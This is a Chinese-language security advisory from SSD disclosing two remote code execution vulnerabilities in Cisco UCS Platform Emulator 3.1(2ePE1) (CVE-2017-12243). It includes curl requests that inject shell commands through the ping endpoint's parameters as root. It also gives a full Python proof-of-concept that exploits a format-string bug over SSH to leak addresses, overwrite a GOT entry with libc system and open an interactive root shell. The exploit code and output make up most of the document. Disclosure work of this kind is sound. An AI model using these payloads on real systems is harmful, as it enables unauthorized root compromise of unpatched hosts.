SSD安全公告-思科UCS平台模拟器远程代

漏洞概要
以下安全公告描述了在思科UCS平台模拟器3.1(2ePE1)中发现的两个远程代码执行漏洞。
思科UCS平台模拟器是捆绑到虚拟机(VM)中的Cisco UCS Manager应用程序,VM包含模拟思科统一计算系统(Cisco UCS)硬件通信的软件,思科统一计算系统(Cisco UCS)硬件由思科UCS Manager配置和管理。 例如,你可以使用思科UCS平台模拟器来创建和测试支持的思科UCS配置,或者复制现有的思科UCS环境,以进行故障排除或开发。
在思科UCS平台模拟器中发现的漏洞是:

  • 未经验证的远程代码执行漏洞
  • 经认证的远程代码执行漏洞

一名独立的安全研究者向 Beyond Security 的 SSD 报告了该漏洞。
厂商响应
厂商已经发布了该漏洞的补丁,并发布以下CVE: CVE-2017-12243
漏洞详细信息
未经验证的远程代码执行漏洞
由于用户的输入在传递给IP/settings/ping函数时没有进行充分的过滤,导致未经身份验证的攻击者可以通过ping_NUM和ping_IP_ADDR参数注入命令,这些命令将在远程机器上以root身份执行。
漏洞证明

curl "http://IP/settings/ping?ping_num=1&ping_ip_addr=127.0.0.1%3buname+-a%3b#"
curl -k "https://IP/settings/ping?ping_num=1&ping_ip_addr=127.0.0.1%3buname+-a%3b#"
curl "http://IP/settings/ping?ping_num=1%3bid%3b#&ping_ip_addr=127.0.0.1"
curl -k "https://IP/settings/ping?ping_num=1%3buname+-a%3b#&ping_ip_addr=127.0.0.1"

通过发送以上请求之一后,思科 UCS响应如下:

/sample output/
================
demo@kali:~/poc$ curl -k "http://IP/settings/ping?ping_num=1&ping_ip_addr=127.0.0.1%3buname+-a%3b#"
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.017 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.017/0.017/0.017/0.000 ms
Linux ucspe 2.6.32-431.el6.i686 #1 SMP Fri Nov 22 00:26:36 UTC 2013 i686 i686 i386 GNU/Linux
demo@kali:~/poc$ curl "http://IP/settings/ping?ping_num=1%3bid%3b#&ping_ip_addr=127.0.0.1"
uid=0(root) gid=0(root) groups=0(root)

经认证的远程代码执行漏洞
思科UCS平台模拟器容易受到格式字符串漏洞的攻击,导致远程代码执行。
思科UCS平台模拟器默认运行一个SSH服务器,通过ssh登录的用户运行以下命令:

show sel %x

得到下面的响应:

"Error: Invalid rack server value: ...somedigits.."

可以看到,通过执行ssh“show sel %x”命令,我们用libsamvsh.so中的system函数覆写了_ZN7clidcos15CommandEmulator16cli_param_filterEPKc函数的入口。
漏洞证明
为了利用此漏洞,请按照以下说明操作:
使用以下用户名和密码在vm上安装ucspe(安装全部3个网卡):

  • 默认的ucspe用户:ucspe
  • 默认的ucspe密码:ucspe

运行ucspe并记下ucspe的ip地址(在控制台可以看到“Connected to IP: ….”)
在这次漏洞证明中,我们将会使用ip-192.168.1.43。
在另一台机器上打开两个终端(例如Kali)
首先,在第一个终端上执行如下操作:

  1. 创建poc目录,将poc4_ucspe_3.1.2e.py放入poc目录,然后将当前目录改为poc目录
  2. 创建fifo1:
  3. mkfifo fifo1
  4. 创建输出目录:
  5. mkdir output
  6. 使用从fifo1重定向的stdin运行ssh,并将stdout重定向到output/log文件:
  7. tail -f fifo1 | ssh ucspe@192.168.1.43 > output/log
    # use default credentials ucspe/ucspe

然后,第二个终端上执行如下操作:

  1. 将当前目录更改为poc
  2. 运行 poc4_ucspe_3.1.2e.py

执行后的输出如下:
终端1

demo@kali:~/poc$ mkfifo fifo1
demo@kali:~/poc$ mkdir output
demo@kali:~/poc$ tail -f fifo1 | ssh ucspe@192.168.1.43 > output/log
Pseudo-terminal will not be allocated because stdin is not a terminal.
The authenticity of host '192.168.1.43 (192.168.1.43)' can't be established.
RSA key fingerprint is SHA256:qEdgqNFyfqA2BU1+cH9rmYrsIOiQr/NlCpgAyzrX70Y.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.43' (RSA) to the list of known hosts.
uucspe@192.168.1.43's password:
TERM environment variable not set.

终端2

demo@kali:~/poc$ python poc4_ucspe_3.1.2e.py
Going through some menus please wait a moment..
You should now see on the other terminal message simmilar to "Error: Already in local-mgmt shell.."
[.] Dumping clicli::LocalMgmtSel::show(void*, base::String const&) addres from libsamvsh.so
    -> 0x6b9f64
[.] Calculating _ZN7clidcos15CommandEmulator16cli_param_filterEPKc .got.plt
    -> 0x6d7a70
[.] Dumping snprintf address from libc
    -> 0x7791210
[.] Calculating libc system address
    -> libc base addr = 0x7746000
    -> system addr = 0x7780f60
[.] Sending payload..
show sel %62c%28$nAAA
show sel %237c%28$nAA
show sel %86c%28$nAAA
show sel %229c%28$nAA
Sleep for fork adjustment..
Ok please type your commands (type exit for exit)
> id
['uid=0(root) gid=0(root) groups=0(root)']
>

poc4_ucspe_3.1.2e.py

import struct
import time
import binascii
def generate_payload(addr):
    basepayload = "show sel AAAAAAAAAAAA"
    aa = (addr >> 24 & 0xff)
    bb = (addr >> 16 & 0xff)
    cc = (addr >> 8 & 0xff)
    dd = (addr >> 0 & 0xff)
    if aa<34:
        aa_c_payload = aa + 222
    else:
        aa_c_payload = aa - 34
    if bb<34:
        bb_c_payload = bb + 222
    else:
        bb_c_payload = bb - 34
    if cc<34:
        cc_c_payload = cc + 222
    else:
        cc_c_payload = cc - 34
    if dd<34:
        dd_c_payload = dd + 222
    else:
        dd_c_payload = dd - 34
    aa_payload = "%" + str(aa_c_payload) + "c%28$n"
    bb_payload = "%" + str(bb_c_payload) + "c%28$n"
    cc_payload = "%" + str(cc_c_payload) + "c%28$n"
    dd_payload = "%" + str(dd_c_payload) + "c%28$n"
    aap = basepayload[:9] + aa_payload + basepayload[len(aa_payload)+9:]
    bbp = basepayload[:9] + bb_payload + basepayload[len(bb_payload)+9:]
    ccp = basepayload[:9] + cc_payload + basepayload[len(cc_payload)+9:]
    ddp = basepayload[:9] + dd_payload + basepayload[len(dd_payload)+9:]
    return [aap,bbp,ccp,ddp]
def clearlog():
    fo = open("output/log","w")
    fo.truncate()
    fo.close()
def readlog():
    logread = [line.strip('\n\0x00') for line in open('output/log')]
    return logread
def sendcommand(cmd):
    f=open("fifo1", "a+")
    f.write(cmd+"\n")
    f.close()
def dump(adr, frmt='p'):
    clearlog()
    leak_part = "show sel %28${}".format(frmt)
    raw_addr = struct.pack("I", adr)
    if "\x20" in raw_addr:
        print "space!"
    out = leak_part + "AAAAAAA"+raw_addr
    sendcommand(out)
    time.sleep(2)
    e = readlog()[0]
    outbin =  e.split("AAAAAAA")[0].split(": ")[2]
    clearlog()
    return outbin+"\x00"
def starting_point():
    clearlog()
    out = "show sel %147$x"
    sendcommand(out)
    time.sleep(2)
    e = readlog()[0]
    outbin =  e.split("AAAAAAA")[0].split(":")[2]
    clearlog()
    return outbin
clidcos_step = 0x1DB0C
libc_emulator_snprintf = 0x0004b210
libc_emulator_system = 0x0003af60
print "Going through some menus please wait a moment.."
sendcommand("c")
time.sleep(1)
sendcommand("show version")
time.sleep(1)
sendcommand("connect local-mgmt")
time.sleep(1)
sendcommand("connect local-mgmt")
time.sleep(1)
sendcommand("show version")
time.sleep(5)
clearlog()
print "You should now see on the other terminal message simmilar to \"Error: Already in local-mgmt shell..\" "
print "[.] Dumping clicli::LocalMgmtSel::show(void*, base::String const&) addres from libsamvsh.so"
off3 = int(starting_point(),16)
print "    -> " + hex(off3)
print "[.] Calculating _ZN7clidcos15CommandEmulator16cli_param_filterEPKc .got.plt"
clidcosGOTPLT = off3+clidcos_step
print "    -> " + hex(clidcosGOTPLT)
print "[.] Dumping snprintf address from libc"
libc_printf = dump(clidcosGOTPLT+8,'s')[:4]
libc_tmp1_hex = binascii.hexlify(libc_printf[::-1])
libc_snprintf_addr =  int(libc_tmp1_hex, 16)
print "    -> " + hex(libc_snprintf_addr)
print "[.] Calculating libc system address"
libc_base_addr = libc_snprintf_addr - libc_emulator_snprintf
print "    -> libc base addr = " + hex(libc_base_addr)
libc_system_addr = libc_base_addr + libc_emulator_system
print "    -> system addr = " + hex(libc_system_addr)
print "\n[.] Sending payload.."
sendcommand(generate_payload(libc_system_addr)[3] + struct.pack("I", clidcosGOTPLT))
print generate_payload(libc_system_addr)[3]
sendcommand("show version")
time.sleep(1)
sendcommand(generate_payload(libc_system_addr)[2] + struct.pack("I", clidcosGOTPLT+1))
print generate_payload(libc_system_addr)[2]
sendcommand("show version")
time.sleep(1)
sendcommand(generate_payload(libc_system_addr)[1] + struct.pack("I", clidcosGOTPLT+2))
print generate_payload(libc_system_addr)[1]
sendcommand("show version")
time.sleep(1)
sendcommand(generate_payload(libc_system_addr)[0] + struct.pack("I", clidcosGOTPLT+3))
print generate_payload(libc_system_addr)[0]
sendcommand("show version")
time.sleep(1)
print "Sleep for fork adjustment.."
time.sleep(5)
sendcommand("ssh /bin/bash")
print "Ok please type your commands (type exit for exit)"
time.sleep(2)
while True:
    n = raw_input("> ")
    if 'exit' in n:
        break
    clearlog()
    sendcommand(n)
    time.sleep(2)
    print readlog()